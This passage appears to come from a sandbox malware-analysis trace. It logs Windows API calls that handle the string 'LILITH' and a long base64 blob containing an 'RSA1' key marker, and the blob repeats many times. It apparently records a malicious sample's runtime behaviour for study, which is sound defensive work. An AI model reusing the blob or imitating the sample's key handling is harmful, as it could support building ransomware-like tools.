pszString="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", pcchString=0x34e7c4) returned 1 [0055.131] lstrlenA (lpString="LILITH") returned 6 [0055.131] lstrlenA (lpString="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") returned 2616 [0055.131] VirtualAlloc (lpAddress=0x0, dwSize=0xa4c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f80000 [0055.131] lstrlenA (lpString="LILITH") returned 6 [0055.131] lstrlenA (lpString="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") returned 2616 [0055.131] lstrcpyA (in: lpString1=0x2f80008, lpString2="LILITH" | out: lpString1="LILITH") returned="LILITH" [0055.131] lstrcpyA (in: lpString1=0x2f8000f, lpString2="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" | out: lpString1="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") returned="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